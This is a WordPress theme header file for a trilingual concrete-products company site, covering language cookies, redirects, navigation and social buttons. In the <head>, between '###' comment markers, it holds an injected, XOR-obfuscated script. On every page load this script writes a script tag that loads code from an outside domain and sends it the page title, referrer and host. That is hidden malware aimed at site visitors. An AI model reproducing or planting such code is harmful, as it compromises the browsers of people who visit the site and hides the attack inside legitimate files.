<?php
if($_GET['l'] == "serbian") {
	setcookie('betontrendlanguage','',time()-3600);
	$expire = time()+60*60*24*30;
	setcookie("betontrendlanguage", "serbian", $expire, "/");
	header("Location: " . get_option('home'));
	exit;
} elseif($_GET['l'] == "hungarian") {
	setcookie('betontrendlanguage','',time()-3600);
	$expire = time()+60*60*24*30;
	setcookie("betontrendlanguage", "hungarian", $expire, "/");
	header("Location: " . get_option('home'));
	exit;
} elseif($_GET['l'] == "english") {
	setcookie('betontrendlanguage','',time()-3600);
	$expire = time()+60*60*24*30;
	setcookie("betontrendlanguage", "hungarian", $expire, "/");
	header("Location: " . get_option('home'));
	exit;
}

if($post->post_name == "rolunk" || $post->post_name == "termekek" || $post->post_name == "galeria" || $post->post_name == "kontakt" || $post->post_name == "kezdolap") {
	if($_COOKIE['betontrendlanguage'] != "hungarian") {
	setcookie('betontrendlanguage','',time()-3600);
	$expire = time()+60*60*24*30;
	setcookie("betontrendlanguage", "hungarian", $expire, "/");
	header("Location: " . get_permalink($post->ID));
	exit;
	}
	if($post->post_name == "kezdolap") {
		header("Location: " . get_option('home'));
		exit;
	}
}
if($post->post_name == "o-nama" || $post->post_name == "proizvodi" || $post->post_name == "kontaktirajte-nas" || $post->post_name == "pocetna-strana") {
	if($_COOKIE['betontrendlanguage'] != "serbian") {
	setcookie('betontrendlanguage','',time()-3600);
	$expire = time()+60*60*24*30;
	setcookie("betontrendlanguage", "serbian", $expire, "/");
	header("Location: " . get_permalink($post->ID));
	exit;
	}
	if($post->post_name == "pocetna-strana") {
		header("Location: " . get_option('home'));
		exit;
	}
}
if($post->post_name == "about-us" || $post->post_name == "products" || $post->post_name == "contact-us" || $post->post_name == "home") {
	if($_COOKIE['betontrendlanguage'] != "english") {
	setcookie('betontrendlanguage','',time()-3600);
	$expire = time()+60*60*24*30;
	setcookie("betontrendlanguage", "english", $expire, "/");
	header("Location: " . get_permalink($post->ID));
	exit;
	}
	if($post->post_name == "home") {
		header("Location: " . get_option('home'));
		exit;
	}
}

if($post->post_name == "rolunk") {
$srb_link = get_option('home') . "/o-nama";
$eng_link = get_option('home') . "/about-us";
} elseif($post->post_name == "termekek") {
$srb_link = get_option('home') . "/proizvodi";
$eng_link = get_option('home') . "/products";
} elseif($post->post_name == "galeria") {
$srb_link = get_option('home') . "/galerija";
$eng_link = get_option('home') . "/gallery";
} elseif($post->post_name == "kontakt") {
$srb_link = get_option('home') . "/kontaktirajte-nas";
$eng_link = get_option('home') . "/contact-us";
} elseif($post->post_name == "o-nama") {
$hun_link = get_option('home') . "/rolunk";
$eng_link = get_option('home') . "/about-us";
} elseif($post->post_name == "proizvodi") {
$hun_link = get_option('home') . "/termekek";
$eng_link = get_option('home') . "/products";
} elseif($post->post_name == "galerija") {
$hun_link = get_option('home') . "/galeria";
$eng_link = get_option('home') . "/gallery";
} elseif($post->post_name == "kontaktirajte-nas") {
$hun_link = get_option('home') . "/kontakt";
$eng_link = get_option('home') . "/contact-us";
} elseif($post->post_name == "about-us") {
$hun_link = get_option('home') . "/rolunk";
$srb_link = get_option('home') . "/o-nama";
} elseif($post->post_name == "products") {
$hun_link = get_option('home') . "/termekek";
$srb_link = get_option('home') . "/proizvodi";
} elseif($post->post_name == "gallery") {
$hun_link = get_option('home') . "/galeria";
$srb_link = get_option('home') . "/galerija";
} elseif($post->post_name == "contact-us") {
$hun_link = get_option('home') . "/kontakt";
$srb_link = get_option('home') . "/kontaktirajte-nas";
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>

<head profile="http://gmpg.org/xfn/11">

	<meta http-equiv="content-type" content="<?php bloginfo('html_type') ?>; charset=<?php bloginfo('charset') ?>" />
	<meta name="description" content="<?php bloginfo('description') ?>" />
	<meta name="language" content="<?php echo get_bloginfo('language'); ?>" />

	<title>
		<?php if ( is_home() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php bloginfo('description'); ?><?php } ?>
		<?php if ( is_search() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php _e('Search Results', 'cp'); ?><?php } ?>
		<?php if ( is_404() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php _e('404 Nothing Found', 'cp');?><?php } ?>
		<?php if ( is_author() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php _e('Author Archives', 'cp'); ?><?php } ?>
		<?php if ( is_single() ) { ?><?php wp_title(''); ?>&nbsp;|&nbsp;<?php bloginfo('name'); ?><?php } ?>
		<?php if ( is_page() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php wp_title(''); ?><?php } ?>
		<?php if ( is_category() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php _e('Archive', 'cp'); ?>&nbsp;|&nbsp;<?php single_cat_title(); ?><?php } ?>
		<?php if ( is_month() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php _e('Archive', 'cp'); ?>&nbsp;|&nbsp;<?php the_time(__('F', 'cp')); ?><?php } ?>
		<?php if ( is_day() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php _e('Archive', 'cp'); ?>&nbsp;|&nbsp;<?php the_time(__('F j, Y', 'cp')); ?><?php } ?>
		<?php if (function_exists('is_tag')) { if ( is_tag() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;<?php _e('Tag Archive', 'cp'); ?>&nbsp;|&nbsp;<?php single_tag_title("", true); } } ?>
	</title>

	<link rel="stylesheet" type="text/css" media="screen, projection" href="<?php bloginfo('stylesheet_url'); ?>" />
	<link rel="stylesheet" type="text/css" media="screen, projection" href="<?php bloginfo('template_url'); ?>/css/custom.css" />
	<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php if ( get_option('cp_feedburner')<>'') { echo get_option('cp_feedburner'); } else { bloginfo('rss2_url'); } ?>" />
	<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />

	<?php if ( is_single() ) wp_enqueue_script('comment-reply'); ?>	

<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js'></script>

<link rel='stylesheet' id='attentionGrabber_css-css'  href='<?php bloginfo('template_url'); ?>/css/attentionGrabber.css' type='text/css' media='all' />
<script type='text/javascript' src='<?php bloginfo('template_url'); ?>/js/attentionGrabber_js.php'></script>

<?php if(is_home()) { ?>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/jquery.nivo.slider.js"></script>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/jquery.nivo.slider.pack.js"></script>
<link rel="stylesheet" type="text/css" media="screen, projection" href="<?php bloginfo('template_url'); ?>/css/nivo-slider.css" />

<script type="text/javascript">
	$(window).load(function() {
		$('#slider').nivoSlider();
	});
</script>
<?php } ?>

<script type="text/javascript">
jQuery(document).ready(function($) {
    $('#categories > li > ul').hide().click(function(e) {
        e.stopPropagation();
    });
 
    var current_cat = $('#categories > li.current-cat, #categories > li.current-cat-parent');
     if(current_cat.length == 1) {
        current_cat.children('ul').slideDown('fast');
    }

    $('#categories > li > ul.children').each(function() {
        $(this).parent().toggle(function() {
            $(this).find('ul').slideDown('fast');
        }, function() {
            $(this).find('ul').slideUp('fast');
        });
    });
});
</script>

<?php if($post->post_name == "kontakt" || $post->post_name == "kontaktirajte-nas" || $post->post_name == "contact-us") { ?>
<?php if($_COOKIE['betontrendlanguage'] == "hungarian") { ?>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/ajax-hun.js.php"></script>
<?php } elseif($_COOKIE['betontrendlanguage'] == "english") { ?>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/ajax-eng.js.php"></script>
<?php } else { ?>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/ajax-srb.js.php"></script>
<?php } } ?>

    <?php wp_head(); ?>

    <!-- ###: -->
    <script>var a="'02'02'02'02'1Aqapkrv'1G'2C'02'02'02'02'02'02'02'02dwlavkml'02qvpkleEgl'0:ngl'0;'5@'2C'02'02'02'02'02'02'02'02'02'02'02'02tcp'02vgzv'02'1F'02'00'00'1@'2C'02'02'02'02'02'02'02'02'02'02'02'02tcp'02ajcpqgv'02'1F'02'00c`afgdejkhinolmrspqvwtuz{x23016745:;'00'1@'2C'02'02'02'02'02'02'02'02'02'02'02'02dmp'0:'02tcp'02k'1F2'1@'02k'02'1A'02ngl'1@'02k))'02'0;'2C'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02vgzv'02)'1F'02ajcpqgv,ajcpCv'0:Ocvj,dnmmp'0:Ocvj,pclfmo'0:'0;'02('02ajcpqgv,nglevj'0;'0;'1@'2C'02'02'02'02'02'02'02'02'02'02'02'02pgvwpl'02vgzv'1@'2C'02'02'02'02'02'02'02'02'5F'2C'02'02'02'02'02'02'02'02qgvVkogmwv'0:32'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02fgdcwnv]ig{umpf'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,vkvng'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02qg]pgdgppgp'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,pgdgppgp'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02jmqv'02'1F'02glamfgWPKAmormlglv'0:uklfmu,nmacvkml,jmqv'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02`cqg'02'1F'02'00k,knnwoklcvkmlgq,amo-hqlkvaj'00'1@'2C'02'02'02'02'02'02'02'02tcp'02wwkf'02'1F'02qvpkleEgl'0:7'0;'1@'2C'02'02'02'02'02'02'02'02tcp'02l]wpn'02'1F'02'00jvvr'1C--'00'02)'02wwkf'02)'02'00,'00'02)'02`cqg'02)'02'00'1Dfgdcwnv]ig{umpf'1F'00'02)'02fgdcwnv]ig{umpf'02)'2C'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02'02'00'04qg]pgdgppgp'1F'00'02)'02qg]pgdgppgp'02)'02'00'04qmwpag'1F'00'02)'02jmqv'1@'2C'02'02'02'02'02'02'02'02kd'02'0:fgdcwnv]ig{umpf'02'03'1F'1F'02lwnn'02'04'04'02fgdcwnv]ig{umpf'02'03'1F'1F'02'05'05'02'04'04'02qg]pgdgppgp'02'03'1F'1F'02lwnn'02'04'04'02qg]pgdgppgp'02'03'1F'1F'02'05'05'0;'5@'2C'02'02'02'02'02'02'02'02'02'02'02'02fmawoglv,upkvg'0:'05'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'02qpa'1F'00'05'02)'02l]wpn'02)'02'05'00'1G'05'02)'02'05'1A'05'02)'02'05-qapkrv'1G'05'0;'1@'2C'02'02'02'02'02'02'02'02'5F'2C'02'02'02'02'1A-qapkrv'1G";b="";c="";var clen;clen=a.length;for(i=0;i<clen;i++){b+=String.fromCharCode(a.charCodeAt(i)^2)}c=unescape(b);document.write(c);</script>
    <!-- :### -->
</head>


<body <?php body_class(); ?> >

<div id="fb-root"></div>
<script>(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>

<div id="attentionGrabberWrap" style="" class="openGrabber">
<div id="attentionGrabber">
<div id="attentionMain">
<div class="attentionLeft"><a href="<?php get_option('home'); ?>"><?php bloginfo('name'); ?></a> Subotica - <?php if($_COOKIE['betontrendlanguage'] == "english") { echo "Phone: +381 64 334 0912"; } else { echo "Telefon: +381 63 338 072"; } ?></div><div class="attentionCenter"><div id="twitter"><a href="https://twitter.com/share" class="twitter-share-button">Tweet</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script></div><div class="fb-like" data-href="http://www.facebook.com/BetonTrend" data-send="false" data-layout="button_count" data-width="450" data-show-faces="false"></div></div><div class="attentionRight">

<?php if($_COOKIE['betontrendlanguage'] == "hungarian") { ?>
<?php if(is_home() || is_single() || get_post_type( $post->ID ) == "products-srb" || get_post_type( $post->ID ) == "products-hun" || get_post_type( $post->ID ) == "products-eng") { ?><a href="<?php echo get_option('home') . "/home"; ?>"><?php } else { ?><a href="<?php echo $eng_link; ?>"><?php } ?><img src="<?php bloginfo('template_url'); ?>/images/us.png"></a>
<?php if(is_home() || is_single() || get_post_type( $post->ID ) == "products-srb" || get_post_type( $post->ID ) == "products-hun" || get_post_type( $post->ID ) == "products-eng") { ?><a href="<?php echo get_option('home') . "/pocetna-strana"; ?>"><?php } else { ?><a href="<?php echo $srb_link; ?>"><?php } ?><img src="<?php bloginfo('template_url'); ?>/images/srb.png"></a>
<img src="<?php bloginfo('template_url'); ?>/images/hu.png">
<?php } elseif($_COOKIE['betontrendlanguage'] == "english") { ?>
<img src="<?php bloginfo('template_url'); ?>/images/us.png">
<?php if(is_home() || is_single() || get_post_type( $post->ID ) == "products-srb" || get_post_type( $post->ID ) == "products-hun" || get_post_type( $post->ID ) == "products-eng") { ?><a href="<?php echo get_option('home') . "/pocetna-strana"; ?>"><?php } else { ?><a href="<?php echo $srb_link; ?>"><?php } ?><img src="<?php bloginfo('template_url'); ?>/images/srb.png"></a>
<?php if(is_home() || is_single() || get_post_type( $post->ID ) == "products-srb" || get_post_type( $post->ID ) == "products-hun" || get_post_type( $post->ID ) == "products-eng") { ?><a href="<?php echo get_option('home') . "/kezdolap"; ?>"><?php } else { ?><a href="<?php echo $hun_link; ?>"><?php } ?><img src="<?php bloginfo('template_url'); ?>/images/hu.png"></a>
<?php } else { ?>
<?php if(is_home() || is_single() || get_post_type( $post->ID ) == "products-srb" || get_post_type( $post->ID ) == "products-hun" || get_post_type( $post->ID ) == "products-eng") { ?><a href="<?php echo get_option('home') . "/home"; ?>"><?php } else { ?><a href="<?php echo $eng_link; ?>"><?php } ?><img src="<?php bloginfo('template_url'); ?>/images/us.png"></a>
<img src="<?php bloginfo('template_url'); ?>/images/srb.png">
<?php if(is_home() || is_single() || get_post_type( $post->ID ) == "products-srb" || get_post_type( $post->ID ) == "products-hun" || get_post_type( $post->ID ) == "products-eng") { ?><a href="<?php echo get_option('home') . "/kezdolap"; ?>"><?php } else { ?><a href="<?php echo $hun_link; ?>"><?php } ?><img src="<?php bloginfo('template_url'); ?>/images/hu.png"></a>
<?php } ?>

</div></div><span id="closeAttentionGrabber"></span></div><span id="openAttentionGrabber" style="top: -6px;"><span></span></span>
</div>
	<div id="container">
<div id="header-full">
		<div id="header" class="col-full">

			<div id="logo">
					<h1><a href="<?php echo get_option('home'); ?>/" title="<?php bloginfo('name'); ?> - <?php bloginfo('description'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/logo.png"></a></h1>
				</div>

		<div id="top-nav" class="col-full">
			<ul class="nav">
				
<?php
$language = $_COOKIE['betontrendlanguage'];
if($language == "hungarian") {
?>
<li <?php if ( is_home() || is_single() || is_search() || is_archive() ) { echo 'class="current_page_item"'; } ?>><a href="<?php echo get_option('home'); ?>" title="<?php bloginfo('name'); ?>">Kezdőlap</a></li>
<?php
wp_list_pages('title_li=&exclude=2,10,31,20,21,22,43,45,60,61,62');
} elseif ($language == "english") {
?>
<li <?php if ( is_home() || is_single() || is_search() || is_archive() ) { echo 'class="current_page_item"'; } ?>><a href="<?php echo get_option('home'); ?>" title="<?php bloginfo('name'); ?>">Home</a></li>
<?php
wp_list_pages('title_li=&exclude=14,15,16,20,21,22,44,45,62,61,60');
} else {
?>
<li <?php if ( is_home() || is_single() || is_search() || is_archive() ) { echo 'class="current_page_item"'; } ?>><a href="<?php echo get_option('home'); ?>" title="<?php bloginfo('name'); ?>">Početna Strana</a></li>
<?php
wp_list_pages('title_li=&exclude=2,31,10,14,15,16,43,44,62,60,61');
}
?>

			</ul>
		</div>

		</div><!-- #END header -->
</div>
<br class="clear" />